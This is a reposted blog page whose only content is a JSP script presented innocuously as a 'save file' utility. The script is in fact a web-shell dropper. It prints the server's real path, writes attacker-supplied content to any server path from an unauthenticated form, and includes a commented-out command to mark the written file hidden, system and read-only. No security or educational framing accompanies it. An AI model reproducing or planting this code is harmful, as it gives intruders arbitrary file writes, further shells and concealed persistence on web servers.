jsp保存文件

来源:互联网 发布:知乎 分级基金 编辑:程序博客网 时间:2024/06/16 13:57
 
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%><%@page import="java.io.*"%><%!public String save(String path, String content) {String message = null;try {if(path!=null&&content!=null){FileWriter fw = new FileWriter(path);fw.write(content);fw.close();message = "SUCCESS!</br>";}} catch (IOException e) {e.printStackTrace();}return message;}%><form action="<%=request.getContextPath()+ request.getServletPath()%>?action=save" method="post"><%=request.getRealPath(request.getServletPath())%><br /><input type="text" size="45" name="path" /><br /><textarea rows="20" cols="40" name="content"></textarea><br><input type="submit" value="save" /></form><%String action=null;if( request.getParameter("action")==null){action="save";}else{action = (String)request.getParameter("action");}if(action.equals("save")){String content = request.getParameter("content");String path = request.getParameter("path");String message = null;if (path != null&&content!=null) {path = path.replace("\\", "/");message=save(path, content);String atts="attrib +a +s +h +r "+path;//Runtime.getRuntime().exec(atts);}if (message != null) {out.print(message);}}%>

原创粉丝点击